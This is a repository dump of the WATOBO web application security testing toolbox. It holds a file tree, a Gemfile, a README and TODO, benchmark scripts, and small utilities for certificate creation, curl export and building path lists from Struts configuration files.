├── CHANGELOG.md ├── Gemfile ├── Gemfile.lock ├── LICENSE ├── README.md ├── TODO.md ├── _config.yml ├── benchmarks ├── file_count.rb ├── levenshtein.rb ├── load_chats.rb └── ractor_load_chats.rb ├── bin ├── certspoofer.rb ├── create_cert.rb ├── create_curl.rb ├── create_db_from_swagger.rb ├── create_file_db.rb ├── filescanner.rb ├── hash_forcer.rb ├── httptrace.rb ├── jwk2rsa.rb ├── kmeans-test.rb ├── list_parameters.rb ├── nfq_server.rb ├── oxml-xxe.rb ├── php-check.rb ├── plugin-tester.rb ├── search-chats.rb ├── search_scanlog.rb ├── sniper.rb ├── sniper2.rb ├── spider.rb ├── watobo ├── watobo-pry.rb ├── watobo-scanner.rb ├── watobo_gui.rb ├── watobo_proxy_headless.rb └── watobo_srv_drb.rb ├── config ├── datastore.yml ├── forwarding_proxy.yml ├── general.yml ├── gui.yml ├── interceptor.yml ├── ott_cache.yml ├── scan_policy.yml ├── scanner.yml ├── scope.yml └── sid_cache.yml ├── custom-views ├── fints-simple.rb └── prettify-json.rb ├── dev ├── plugin_loader.rb └── plugin_loader │ └── gui │ └── main.rb ├── extras ├── private-hostspot.sh ├── transparent-stop.sh ├── watobo-transparent-fedora.sh └── watobo-transparent.sh ├── icons ├── Add.ico ├── Add_24x24.ico ├── Bandwidth.ico ├── Bandwidth_24x24.ico ├── BestPractice_16x16.ico ├── BestPractice_24x24.ico ├── Mr. Bomb.ico ├── Mr. Bomb_16x16.ico ├── Mr. Bomb_24x24.ico ├── Orange Ball.ico ├── Orange Ball_16x16.ico ├── Orange Ball_24x24.ico ├── Pause.ico ├── Play.ico ├── Play_24x24.ico ├── Red Ball.ico ├── Red Ball_16x16.ico ├── Red Ball_24x24.ico ├── Run.ico ├── Stop.ico ├── Stop_24x24.ico ├── Terminal.ico ├── Transfer.ico ├── Transfer_16x16.ico ├── User.ico ├── User_16x16.ico ├── User_24x24.ico ├── Web Browser.ico ├── Web Browser_16x16.ico ├── Write Document.ico ├── Yellow Ball.ico ├── Yellow Ball_16x16.ico ├── Yellow Ball_24x24.ico ├── advanced.ico ├── advanced_16x16.ico ├── advanced_24x24.ico ├── applications.ico ├── applications_16x16.ico ├── applications_24x24.ico ├── browser_16x16.ico ├── browser_24x24.ico ├── burn.ico ├── burn_16x16.ico ├── burn_24x24.ico ├── calculator.ico ├── calculator_24x24.ico ├── cb_checked.ico ├── cb_checked_orange.ico ├── cb_unchecked.ico ├── coin_24x24.ico ├── conversation.ico ├── conversation_24x24.ico ├── engine.ico ├── filter.ico ├── folder.ico ├── folder_16x16.ico ├── fuzzer_16x16.ico ├── fuzzer_24x24.ico ├── go-down_16x16.png ├── go-up_16x16.png ├── help.ico ├── help_16x16.ico ├── help_24x24.ico ├── iChat.ico ├── iChat_16x16.ico ├── iChat_24x24.ico ├── icon.png ├── icons.txt ├── info.ico ├── info_16x16.ico ├── info_24x24.ico ├── interceptor_24x24.ico ├── lock.ico ├── lock_12x12.ico ├── lock_16x16.ico ├── monitor.ico ├── plugin.ico ├── plugin_24x24.ico ├── scan_16x16.png ├── send.ico ├── server.ico ├── server_16x16.ico ├── siberas_logo_x24.gif ├── tag_blue_32x32.ico ├── watobo-128x128.jpeg ├── watobo-128x128.png ├── watobo-48x48.png ├── watobo-logo.png ├── watobo.ico └── watobo.ico.old ├── installers ├── fedora.sh ├── kali.sh └── rbenv.sh ├── lib ├── watobo.rb └── watobo │ ├── adapters.rb │ ├── adapters │ ├── data_store.rb │ ├── file │ │ ├── file_store.rb │ │ └── marshal_store.rb │ └── session_store.rb │ ├── ca.rb │ ├── config.rb │ ├── constants.rb │ ├── core.rb │ ├── core │ ├── active_check.rb │ ├── active_checks.rb │ ├── ca.rb │ ├── cert_store.rb │ ├── chat.rb │ ├── chats.rb │ ├── client_cert_store.rb │ ├── conversation.rb │ ├── cookie.rb │ ├── egress_handlers.rb │ ├── finding.rb │ ├── findings.rb │ ├── forwarding_proxy.rb │ ├── fuzz_gen.rb │ ├── global_wordlists.rb │ ├── intercept_carver.rb │ ├── intercept_filter.rb │ ├── interceptor.rb │ ├── min_class.rb │ ├── netfilter_queue.rb │ ├── ott_cache.rb │ ├── parameter.rb │ ├── passive_check.rb │ ├── passive_check2.rb │ ├── passive_checks.rb │ ├── passive_scanner.rb │ ├── passive_scanner_2.rb │ ├── plugin.rb │ ├── project.rb │ ├── proxy.rb │ ├── request.rb │ ├── response.rb │ ├── scanner.rb │ ├── scanner3.rb │ ├── scope.rb │ ├── session.rb │ ├── sid_cache.rb │ └── subscriber.rb │ ├── defaults.rb │ ├── environment.rb │ ├── evasions.rb │ ├── evasions │ ├── builtin │ │ ├── append_slash.rb │ │ ├── auth_header.rb │ │ ├── cookieless.rb │ │ ├── http_header.rb │ │ ├── http_method_override.rb │ │ ├── http_version.rb │ │ ├── parm_extensions.rb │ │ ├── path_extensions.rb │ │ ├── slashslash.rb │ │ ├── url_extensions.rb │ │ ├── url_parameters.rb │ │ └── user_agent.rb │ ├── evasion_base.rb │ └── evasions.rb │ ├── external │ └── diff │ │ ├── lcs.rb │ │ └── lcs │ │ ├── array.rb │ │ ├── block.rb │ │ ├── callbacks.rb │ │ ├── change.rb │ │ ├── hunk.rb │ │ ├── ldiff.rb │ │ └── string.rb │ ├── externals.rb │ ├── framework.rb │ ├── framework │ ├── create_project.rb │ ├── init.rb │ ├── init_modules.rb │ ├── license_text.rb │ └── load_chat.rb │ ├── gui.rb │ ├── gui │ ├── about_watobo.rb │ ├── browser_preview.rb │ ├── certificate_dialog.rb │ ├── chat_diff.rb │ ├── chatviewer_frame.rb │ ├── checkboxtree.rb │ ├── checks_policy_frame.rb │ ├── client_cert_dialog.rb │ ├── confirm_scan_dialog.rb │ ├── conversation_table.rb │ ├── conversation_table_ctrl.rb │ ├── conversation_table_ctrl2.rb │ ├── csrf_token_dialog.rb │ ├── custom_viewer.rb │ ├── dashboard.rb │ ├── define_scope_frame.rb │ ├── differ_frame.rb │ ├── edit_comment.rb │ ├── edit_scope_dialog.rb │ ├── export_dialog.rb │ ├── finding_info.rb │ ├── findings_tree.rb │ ├── full_scan_dialog.rb │ ├── fuzzer.rb │ ├── fuzzer │ │ ├── action_select.rb │ │ ├── create_action_dlg.rb │ │ ├── create_filter_dlg.rb │ │ ├── create_fuzzer_dlg.rb │ │ ├── create_generator_dlg.rb │ │ ├── filter_frame.rb │ │ ├── fuzz_request_editor.rb │ │ ├── fuzzer_check.rb │ │ ├── fuzzer_gen_select.rb │ │ ├── fuzzer_gui.rb │ │ └── fuzzer_tree.rb │ ├── fxsave_thread.rb │ ├── goto_url_dialog.rb │ ├── hex_viewer.rb │ ├── html_viewer.rb │ ├── intercept_filter_dialog.rb │ ├── interceptor_gui.rb │ ├── interceptor_settings_dialog.rb │ ├── json_viewer.rb │ ├── kmeans_clusterer_frame.rb │ ├── list_box.rb │ ├── log_file_viewer.rb │ ├── log_viewer.rb │ ├── log_viewer_frame.rb │ ├── login_wizzard.rb │ ├── main_window.rb │ ├── manual_request_editor.rb │ ├── master_pw_dialog.rb │ ├── mixins │ │ ├── events.rb │ │ └── gui_settings.rb │ ├── page_tree.rb │ ├── password_policy_dialog.rb │ ├── plugin_board.rb │ ├── preferences_dialog.rb │ ├── progress_window.rb │ ├── project_wizzard.rb │ ├── proxy_dialog.rb │ ├── quick_scan_dialog.rb │ ├── request_builder_frame.rb │ ├── request_editor.rb │ ├── rewrite_filters_dialog.rb │ ├── rewrite_rules_dialog.rb │ ├── save_chat_dialog.rb │ ├── scanner_settings_dialog.rb │ ├── select_chat_dialog.rb │ ├── sequencer │ │ └── sequencer.rb │ ├── session_management_dialog.rb │ ├── sid_preview.rb │ ├── simple_text_view.rb │ ├── sites_tree.rb │ ├── status_bar.rb │ ├── subframes │ │ └── egress_handler_selection.rb │ ├── table_editor.rb │ ├── tagless_viewer.rb │ ├── templates │ │ ├── plugin.rb │ │ ├── plugin2.rb │ │ └── plugin_base.rb │ ├── text_viewer.rb │ ├── transcoder_window.rb │ ├── utils │ │ ├── gui_utils.rb │ │ ├── init_icons.rb │ │ ├── load_icons.rb │ │ ├── load_plugins.rb │ │ ├── master_password.rb │ │ ├── save_default_settings.rb │ │ ├── save_project_settings.rb │ │ ├── save_proxy_settings.rb │ │ ├── save_scanner_settings.rb │ │ └── session_history.rb │ ├── workspace_dialog.rb │ ├── www_auth_dialog.rb │ └── xml_viewer_frame.rb │ ├── headless.rb │ ├── headless │ ├── crawler.rb │ ├── crawler │ │ ├── autofill.rb │ │ ├── click.rb │ │ ├── collection.rb │ │ ├── ctrl.rb │ │ ├── driver.rb │ │ ├── form.rb │ │ ├── form_collection.rb │ │ ├── href.rb │ │ ├── href_collection.rb │ │ ├── stat.rb │ │ ├── trigger.rb │ │ └── trigger_collection.rb │ └── readme.md │ ├── http.rb │ ├── http │ ├── cookies │ │ └── cookies.rb │ ├── data │ │ ├── base.rb │ │ ├── data.rb │ │ ├── gwt-rpc.rb │ │ ├── json.rb │ │ ├── json_unused.rb │ │ ├── multipart.rb │ │ └── xml.rb │ ├── headers │ │ └── headers.rb │ └── url │ │ └── url.rb │ ├── interceptor.rb │ ├── interceptor │ ├── html │ │ ├── favicon.ico │ │ └── index.html │ ├── proxy.rb │ └── transparent.rb │ ├── mixins.rb │ ├── mixins │ ├── check_info.rb │ ├── config.rb │ ├── httpparser.rb │ ├── request_parser.rb │ ├── shapers.rb │ ├── transcoders.rb │ └── uri.rb │ ├── ml.rb │ ├── ml │ └── kmeans │ │ └── kmeans_chats.rb │ ├── net.rb │ ├── net │ └── http │ │ ├── sender.rb │ │ └── session.rb │ ├── parser.rb │ ├── parser │ ├── dom.rb │ └── html.rb │ ├── patch_fxruby_setfocus.rb │ ├── plugin_loader.rb │ ├── redis │ ├── connection.rb │ └── queue.rb │ ├── resources.rb │ ├── resources │ ├── api_keys.rb │ └── http_headers.rb │ ├── scanner.rb │ ├── scanner │ └── hostup_check.rb │ ├── scanner4.rb │ ├── scanner4 │ └── scanner.rb │ ├── server.rb │ ├── server │ └── server.rb │ ├── sockets.rb │ ├── sockets │ ├── agent.rb │ ├── client_socket.rb │ ├── connection.rb │ ├── http_socket.rb │ └── ntlm_auth.rb │ ├── transformers │ └── multipart.rb │ ├── utils.rb │ └── utils │ ├── chat_source.rb │ ├── check_regex.rb │ ├── copy_object.rb │ ├── crypto.rb │ ├── curl.rb │ ├── expand_range.rb │ ├── export_xml.rb │ ├── file_management.rb │ ├── hexprint.rb │ ├── load_chat.rb │ ├── load_icon.rb │ ├── ntlm.rb │ ├── path_merge.rb │ ├── print_debug.rb │ ├── response_builder.rb │ ├── response_compare.rb │ ├── response_hash.rb │ ├── secure_eval.rb │ ├── strings.rb │ ├── text2request.rb │ ├── url.rb │ └── utf16.rb ├── modules ├── active │ ├── Apache │ │ ├── mod_status.rb │ │ ├── multiview.rb │ │ └── solr_xxe.rb │ ├── Flash │ │ └── crossdomain.rb │ ├── HRS │ │ └── te_cl.rb │ ├── JWT │ │ └── jwt_oauth2_none.rb │ ├── RoR │ │ └── cve_2013_015x.rb │ ├── aem │ │ └── aem_fiddle_rce.rb │ ├── auth_bypass │ │ └── builtin_evasions.rb │ ├── axis │ │ └── axis_xsd.rb │ ├── cmd_injection │ │ ├── os_injection.rb │ │ └── python_injection.rb │ ├── cq5 │ │ ├── cq5_default_selectors.rb │ │ ├── cq5_params.rb │ │ └── cqp_user_enumeration.rb │ ├── directories │ │ └── dirwalker.rb │ ├── discovery │ │ ├── fileextensions.rb │ │ ├── http_methods.rb │ │ └── jsmapfiles.rb │ ├── domino │ │ ├── domino_db.lst │ │ └── domino_db.rb │ ├── dotNET │ │ ├── custom_errors.rb │ │ └── dotnet_files.rb │ ├── fileinclusion │ │ └── lfi_simple.rb │ ├── http_header │ │ ├── echo_headers.rb │ │ ├── http_x_headers.rb │ │ └── max_forwards_header.rb │ ├── http_upgrade │ │ └── http_upgrade.rb │ ├── ipswitch │ │ ├── moveit_sqlinjection.rb │ │ └── moveit_version.rb │ ├── java │ │ └── log4j.rb │ ├── jboss │ │ └── jboss_basic.rb │ ├── json │ │ └── json_deser_net.rb │ ├── parameters │ │ └── splitting.rb │ ├── sap │ │ ├── business_objects.rb │ │ ├── its_commands.rb │ │ ├── its_service_parameter.rb │ │ ├── its_services.rb │ │ └── its_xss.rb │ ├── shell_shock │ │ └── shell_shock.rb │ ├── siebel │ │ └── siebel_apps.rb │ ├── sqlinjection │ │ ├── sql_boolean.rb │ │ ├── sql_numerical.rb │ │ ├── sqli_error.rb │ │ ├── sqli_time_based.rb │ │ └── sqli_timing.rb │ ├── ssti │ │ └── ssti_simple.rb │ ├── struts2 │ │ ├── default_handler_ognl.rb │ │ └── include_params_ognl.rb │ ├── uri_schemes │ │ └── scheme_injection.rb │ ├── wsdl │ │ └── wsdl.rb │ ├── xml │ │ ├── xml_doctype_dns.rb │ │ └── xml_xxe.rb │ └── xss │ │ ├── xss_ng.rb │ │ ├── xss_script_tag.rb │ │ └── xss_simple.rb ├── passive │ ├── ajax.rb │ ├── api_keys.rb │ ├── authorization_leak.rb │ ├── autocomplete.rb │ ├── cookie_options.rb │ ├── cookie_xss.rb │ ├── detect_code.rb │ ├── detect_error_messages.rb.todo.txt │ ├── detect_fileupload.rb │ ├── detect_infrastructure.rb │ ├── detect_java_serialization.rb │ ├── detect_json_ld.rb │ ├── detect_one_time_tokens.rb │ ├── dirindexing.rb │ ├── disclosure_domino.rb │ ├── disclosure_emails.rb │ ├── disclosure_ipaddr.rb │ ├── filename_as_parameter.rb │ ├── form_spotter.rb │ ├── gwt_rpc.rb │ ├── hidden_fields.rb │ ├── hotspots.rb │ ├── in_script_parameter.rb │ ├── ipswitch_moveit_dmz.rb │ ├── json_web_token.rb │ ├── jwt_alg.rb │ ├── linkfinder.rb │ ├── multiple_server_headers.rb │ ├── possible_login.rb │ ├── redirect_url.rb │ ├── redirectionz.rb │ ├── sap-headers.rb │ ├── source_map.rb │ ├── wcf_service.rb │ ├── well_known_headers.rb │ ├── wrong_content_type.rb │ └── xss_dom.rb └── passive2 │ └── multiple_server_headers.rb ├── ntlm.md ├── plugins ├── aem │ ├── aem.rb │ ├── gui │ │ ├── main.rb │ │ └── tree_view.rb │ ├── icons │ │ └── aem.ico │ └── lib │ │ ├── agent.rb │ │ ├── dispatcher.rb │ │ └── engine.rb ├── catalog │ ├── catalog.ico │ ├── catalog.rb │ ├── db_tests │ └── db_variables ├── crawler │ ├── crawler.rb │ ├── gui.rb │ ├── gui │ │ ├── auth_frame.rb │ │ ├── crawler_gui.rb │ │ ├── general_settings_frame.rb │ │ ├── hooks_frame.rb │ │ ├── scope_frame.rb │ │ ├── settings_tabbook.rb │ │ └── status_frame.rb │ ├── icons │ │ └── crawler.ico │ └── lib │ │ ├── bags.rb │ │ ├── constants.rb │ │ ├── engine.rb │ │ ├── grabber.rb │ │ ├── status.rb │ │ └── uri_mp.rb ├── filefinder │ ├── dbs │ │ ├── api-endpoints.db │ │ ├── cq5.db │ │ ├── hbci.db │ │ ├── payment.db │ │ ├── sap.db │ │ ├── siebel_paths.txt │ │ ├── subs-big.lst │ │ └── well_known.db │ └── filefinder.rb ├── filescanner │ ├── filescanner.rb │ ├── gui │ │ ├── dbselect_frame.rb │ │ ├── main.rb │ │ ├── request_frame.rb │ │ ├── settings_frame.rb │ │ └── status_frame.rb │ ├── headless.rb │ ├── icons │ │ └── filescanner.ico │ ├── lib │ │ ├── check.rb │ │ └── filescanner.rb │ └── modules │ │ └── spring_actuator.rb ├── invader │ ├── gui │ │ ├── config_frame.rb │ │ ├── create_tweak_dlg.rb │ │ ├── directory_generator_options.rb │ │ ├── main.rb │ │ ├── payload_frame.rb │ │ ├── sample_table.rb │ │ ├── samples_frame.rb │ │ ├── settings_frame.rb │ │ ├── simple_list_generator_options.rb │ │ ├── target_frame.rb │ │ ├── tweak_frame.rb │ │ ├── tweak_select_frame.rb │ │ └── tweak_table.rb │ ├── icons │ │ └── invader.ico │ ├── invader.md │ ├── invader.rb │ ├── lib │ │ ├── check.rb │ │ ├── directory_generator.rb │ │ ├── generator.rb │ │ ├── list_generator.rb │ │ ├── samples.rb │ │ ├── sniper_check.rb │ │ └── tweaks.rb │ └── tmp │ │ └── sniper_frame.rb ├── jwt │ ├── bin │ │ └── jwt_sampler.rb │ ├── gui │ │ └── main.rb │ ├── icons │ │ ├── jwt.ico │ │ ├── pic_logo.png │ │ └── pic_logo.svg │ └── jwt.rb ├── nuclei │ ├── fake-server │ │ ├── index.html │ │ ├── index.json │ │ ├── match-something-02.html │ │ ├── match-something-two.html │ │ └── match-something.html │ ├── gui │ │ ├── main.rb │ │ ├── options_frame.rb │ │ ├── request_frame.rb │ │ ├── status_frame.rb │ │ ├── template_info_frame.rb │ │ └── tree_list_frame.rb │ ├── icons │ │ ├── logo.png │ │ └── nuclei.ico │ ├── lib │ │ ├── nuclei_check.rb │ │ ├── nuclei_matcher.rb │ │ ├── nuclei_payloads.rb │ │ ├── nuclei_request.rb │ │ ├── nuclei_request_collection_UNUSED.rb │ │ ├── nuclei_request_extension.rb │ │ └── nuclei_scanner.rb │ ├── nuclei.rb │ ├── samples │ │ ├── base_post.yaml │ │ ├── fake-server.yaml │ │ ├── multi_path_regex.yaml │ │ ├── raw_dsl_status_code.yaml │ │ ├── raw_multi_dsl.yaml │ │ └── raw_multipart.yaml │ └── spec │ │ ├── matcher_spec.rb │ │ ├── raw_dsl_status_code_spec.rb │ │ ├── raw_multi_dsl_spec.rb │ │ ├── request_parser_base_post_spec.rb │ │ ├── request_parser_raw_dsl_status_code_spec.rb │ │ └── spec_helper.rb ├── sequencer │ ├── gui │ │ ├── create_element_dlg.rb │ │ ├── details_frame.rb │ │ ├── elements_frame.rb │ │ ├── list_frame.rb │ │ ├── main.rb │ │ ├── post_script_frame.rb │ │ ├── pre_script_frame.rb │ │ ├── request_frame.rb │ │ └── var_frame.rb │ ├── icons │ │ ├── sequence.ico │ │ ├── sequence.png │ │ ├── sequence32x32.png │ │ ├── sequence_32x32.ico │ │ ├── sequence_32x32.png │ │ ├── sequence_64x64.png │ │ └── test.ico │ ├── lib │ │ ├── element.rb │ │ ├── postman.rb │ │ ├── sender.rb │ │ ├── sequence.rb │ │ └── sequences.rb │ └── sequencer.rb ├── sniper │ ├── gui │ │ ├── main.rb │ │ ├── result_tree.rb │ │ ├── select_checks.rb │ │ └── targets.rb │ ├── lib │ │ ├── agent.rb │ │ └── stats.rb │ └── sniper.rb ├── sqlmap │ ├── bin │ │ └── test.rb │ ├── gui.rb │ ├── gui │ │ ├── main.rb │ │ └── options_frame.rb │ ├── icons │ │ └── sqlmap.ico │ ├── lib │ │ └── sqlmap_ctrl.rb │ └── sqlmap.rb ├── sslchecker │ ├── cli │ │ └── sslchecker_cli.rb │ ├── gui │ │ ├── cipher_table.rb │ │ ├── gui.rb │ │ └── sslchecker.rb │ ├── icons │ │ ├── green_16x16.ico │ │ ├── grey_16x16.ico │ │ ├── red_16x16.ico │ │ └── sslchecker.ico │ └── lib │ │ └── check.rb └── wshell │ ├── gui │ └── main.rb │ ├── icons │ └── wsh.ico │ ├── lib │ └── core.rb │ └── wshell.rb ├── spec ├── app │ └── app.rb ├── compare_response_spec.rb ├── cookie_parsing_spec.rb ├── evasions │ ├── cookieless_spec.rb │ ├── evasion_base_spec.rb │ ├── http_version_spec.rb │ ├── slashslash_spec.rb │ └── url_extensions_spec.rb ├── modules │ ├── active │ │ └── sql_timing_spec.rb │ └── passive │ │ └── cookie_options_spec.rb ├── request │ ├── request_shaper_spec.rb │ └── url_params_spec.rb ├── request_modification_spec.rb ├── request_parsing_json_spec.rb ├── request_parsing_spec.rb ├── response_parsing_spec.rb ├── scanner3 │ ├── auto_collect_notfound_spec.rb │ └── host_up_check_spec.rb ├── session │ ├── one_time_token_spec.rb │ └── session.rb ├── shape_header_spec.rb ├── spec_data │ ├── modules_collection │ │ └── Rspec │ │ │ └── test_module.rb │ └── modules_collection2 │ │ └── Rspec2 │ │ └── test_module2.rb ├── spec_helper.rb ├── text2request_spec.rb ├── url_parser_mixin_spec.rb └── utils │ ├── response_hash_spec.rb │ └── string2response_spec.rb ├── start_watobo.rb ├── watobo-1.1.0pre.gem └── watobo.gemspec /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | group :development do 4 | gem 'pry' 5 | gem 'rspec' 6 | gem 'sinatra' 7 | gem 'rspecproxies' 8 | end 9 | 10 | gem 'nokogiri' 11 | gem 'xmlrpc' 12 | gem 'rubyntlm' 13 | gem 'mechanize' 14 | gem 'fxruby', '1.6.48' 15 | gem 'jwt' 16 | gem 'nfqueue', '1.0.4' if RUBY_PLATFORM =~ /linux/ 17 | #gem 'net-http-pipeline', '1.0.1' if RUBY_PLATFORM =~ /linux/ 18 | gem 'selenium-webdriver' 19 | 20 | gem 'optimist' 21 | gem 'uri' 22 | gem 'kmeans-clusterer' 23 | gem 'damerau-levenshtein' 24 | gem 'openapi3_parser' 25 | 26 | if ENV['DEV_ENV'] && File.exist?(ENV['DEV_ENV']) 27 | gem 'devenv', '= 0.8', :path => File.join(ENV['DEV_ENV'], 'devenv'), group: [:development] 28 | end 29 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | WATOBO - THE Web Application Toolbox 2 | === 3 | WATABO is a security tool for testing web applications. It is intended to enable security professionals to perform efficient (semi-automated) web application security audits. 4 | 5 | Most important features: 6 | 7 | * WATOBO has Session Management capabilities! You can define login scripts as well as logout signatures. So you don’t have to login manually each time you get logged out. 8 | * WATOB can act as a transparent proxy (requires nfqueue) 9 | * WATOBO can perform vulnerability checks out of the box 10 | * WATOBO can perform checks on functions which are protected by Anti-CSRF-/One-Time-Tokens 11 | * WATOBO supports Inline De-/Encoding, so you don’t have to copy strings to a transcoder and back again. Just do it inside the request/response window with a simple mouse click. 12 | * WATOBO has smart filter functions, so you can find and navigate to the most interesting parts of the application easily. 13 | * WATOBO is written in (FX)Ruby and enables you to easily define your own checks 14 | * WATOBO runs on Windows, Linux, MacOS ... every OS supporting (FX)Ruby 15 | * WATOBO is free software ( licensed under the GNU General Public License Version 2) 16 | * It’s by siberas ;) 17 | 18 | Documentation 19 | --- 20 | Check out the online documentation and video tutorials at http://watobo.sourceforge.net 21 | 22 | Tips & Tricks 23 | --- 24 | * On Linux you should use RVM to install Ruby (http://beginrescueend.com/rvm/install/) 25 | * Use FoxyProxy or SwitchProxy to easily change your proxy settings 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /TODO.md: -------------------------------------------------------------------------------- 1 | * Cleanup multiple Config/Settings implementations 2 | ``` 3 | watobo/gui/mixins/gui_settings 4 | watobo/config.rb 5 | watobo/mixins/config.rb 6 | ``` 7 | 8 | * change conversation filter, when switching between Findings/Sites/Logs 9 | * change font color of active converstation filter 10 | -------------------------------------------------------------------------------- /_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-slate -------------------------------------------------------------------------------- /benchmarks/file_count.rb: -------------------------------------------------------------------------------- 1 | require 'rake' 2 | require 'benchmark' 3 | 4 | #source_path = '//server/share/**/*.csv' 5 | source_path = ARGV[0] ? ARGV[0] : '/tmp/**/*' 6 | 7 | Benchmark.bm do |x| 8 | x.report("FileList ") { puts FileList.new(source_path).size } 9 | x.report("Dir.glob ") { puts Dir.glob(source_path).length } 10 | x.report("Dir[] ") { puts Dir[source_path].length } 11 | end -------------------------------------------------------------------------------- /benchmarks/levenshtein.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 4 | $: << inc_path 5 | end 6 | require 'optimist' 7 | 8 | OPTS = Optimist::options do 9 | version "#{$0} 0.1 (c) 2014 siberas" 10 | opt :path, "Path to chat files (.mrs)", :type => :string 11 | opt :url, "URL pattern", :type => :string, :default => "*" 12 | end 13 | 14 | Optimist.die :path, "Need path to chat files" unless OPTS[:path] 15 | 16 | 17 | require 'watobo' 18 | require 'pry' 19 | require "damerau-levenshtein" 20 | require 'benchmark' 21 | require 'watobo/ml' 22 | 23 | 24 | 25 | dl = DamerauLevenshtein 26 | 27 | km = nil 28 | 29 | Benchmark.bm do |x| 30 | 31 | x.report('load chats') { 32 | Watobo::Chats.load_marshaled OPTS[:path] 33 | } 34 | chats = Watobo::Chats.to_a 35 | puts "Loaded #{chats.length} chats" 36 | 37 | puts 38 | x.report('Init Kmeans'){ 39 | chats = Watobo::Chats.to_a 40 | km = Watobo::Ml::KmeansChats.new(chats) 41 | } 42 | puts km.metrics.first.length 43 | 44 | puts 45 | x.report('Run Kmeans'){ 46 | km.run 47 | } 48 | 49 | x.report('sequential: ') { 50 | km.clusters.each do |cluster| 51 | puts "--- Cluster ID: #{cluster.id}" 52 | chats = km.chats_of_cluster(cluster.id) 53 | puts "#chats: #{chats.length}" 54 | baseline = chats.first.response.body.to_s 55 | chats.each do |chat| 56 | target = chat.response.body.to_s 57 | dist = dl.distance baseline, target 58 | puts "Dist: #{dist} (#{baseline.length}/#{target.length})" 59 | end 60 | end 61 | } 62 | 63 | 64 | end 65 | 66 | binding.pry 67 | -------------------------------------------------------------------------------- /benchmarks/load_chats.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'devenv' 3 | require 'watobo' 4 | require 'benchmark' 5 | 6 | =begin 7 | user system total real 8 | 10_000 x hash 3.529838 0.396802 3.926640 ( 3.948366) 9 | 10_000 x object 2.001020 0.505067 2.506087 ( 2.519280) 10 | 10_000 x zipped 9.431278 0.096805 9.528083 ( 9.565701) 11 | =end 12 | 13 | sample_path = File.join(File.expand_path(File.dirname(__FILE__ )), '..', 'spec/samples') 14 | hash_sample = File.join(sample_path, 'chat-hash-marshalled.mrs') 15 | obj_sample = File.join(sample_path, 'chat-object-marshalled.mrs') 16 | zip_sample = File.join(sample_path, 'chat-object-marshalled.mrz') 17 | 18 | Benchmark.bm do |x| 19 | x.report("10_000 x hash"){ 20 | 10000.times do 21 | Watobo::Utils.loadChatMarshal hash_sample 22 | end 23 | } 24 | 25 | x.report("10_000 x object"){ 26 | 10000.times do 27 | Watobo::Utils.loadChatMarshal obj_sample 28 | end 29 | } 30 | 31 | x.report("10_000 x zipped"){ 32 | 10000.times do 33 | Watobo::Utils.loadChatMarshal zip_sample 34 | end 35 | } 36 | end 37 | 38 | 39 | -------------------------------------------------------------------------------- /bin/create_cert.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 4 | $: << inc_path 5 | end 6 | 7 | require 'watobo' 8 | 9 | cert = { 10 | :hostname => 'collab.qimera.eu', 11 | :type => 'server', 12 | :user => 'watobo', 13 | :email => 'root@localhost', 14 | } 15 | 16 | cert_file, key_file = Watobo::CA.create_cert cert 17 | 18 | puts cert_file 19 | puts key_file -------------------------------------------------------------------------------- /bin/create_curl.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | if $0 == __FILE__ 3 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 4 | $: << inc_path 5 | end 6 | require 'optimist' 7 | require 'pry' 8 | 9 | OPTS = Optimist::options do 10 | version "#{$0} 1.0 (c) 2019 siberas" 11 | opt :project, "Projectname", :type => :string 12 | opt :session, "Sessionname", :type => :string 13 | opt :chatid, "ChatId", :type => :string 14 | end 15 | 16 | Optimist.die :project, "Need project name" unless OPTS[:project] 17 | Optimist.die :session, "Need session name" unless OPTS[:session] 18 | Optimist.die :chatid, "Need the chatid" unless OPTS[:chatid] 19 | 20 | require 'watobo' 21 | 22 | puts Watobo::Conf::General.workspace_path 23 | 24 | ds = Watobo::DataStore.connect(OPTS[:project], OPTS[:session]) 25 | 26 | request = nil 27 | ds.each_chat do |c| 28 | next unless c.id == OPTS[:chatid].to_i 29 | request = c.request 30 | break 31 | end 32 | 33 | raise "chatid not found" if request.nil? 34 | 35 | cr = Watobo::Utils::Curl.create_request(request) 36 | puts cr 37 | -------------------------------------------------------------------------------- /bin/create_file_db.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | # creates a db file for filefinder plugin 3 | # it searches the given path for xml files containing action path definitions, e.g. struts 4 | inc_path = File.expand_path(File.join(File.dirname(__FILE__), "..", "lib")) 5 | $: << inc_path 6 | 7 | require 'optimist' 8 | require 'watobo' 9 | 10 | OPTS = Optimist::options do 11 | version "#{$0} 1.0 (c) 2019 siberas" 12 | opt :dirname, "Name of directory", :type => :string 13 | opt :output, "Output file", :type => :string, :default => '' 14 | end 15 | 16 | Optimist.die :dirname, "Need a directory name" unless OPTS[:dirname] 17 | 18 | extensions = %w( do jsp go ) 19 | 20 | folder = OPTS[:dirname] 21 | out_file = OPTS[:output] 22 | 23 | action_paths = [] 24 | Dir.glob("#{folder}/*.xml").each do |file| 25 | doc = Nokogiri::XML(File.read(file)) 26 | actions = doc.css("//action") 27 | actions.each do |action| 28 | extensions.each do |ext| 29 | action_paths << (action[:path].gsub(/^\//, '') + ".#{ext}") 30 | end 31 | end 32 | end 33 | 34 | unless out_file.empty? 35 | action_paths.uniq! 36 | File.open(out_file, "w") do |fh| 37 | fh.puts action_paths 38 | end 39 | puts "+ written #{action_paths.length} entries to #{out_file}" 40 | else 41 | puts "+ Found #{action_paths.length} entries" 42 | end 43 | 44 | 45 | -------------------------------------------------------------------------------- /bin/jwk2rsa.rb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/siberas/watobo/57dc931c2a42dfca5da310ab349d094f7059604d/bin/jwk2rsa.rb 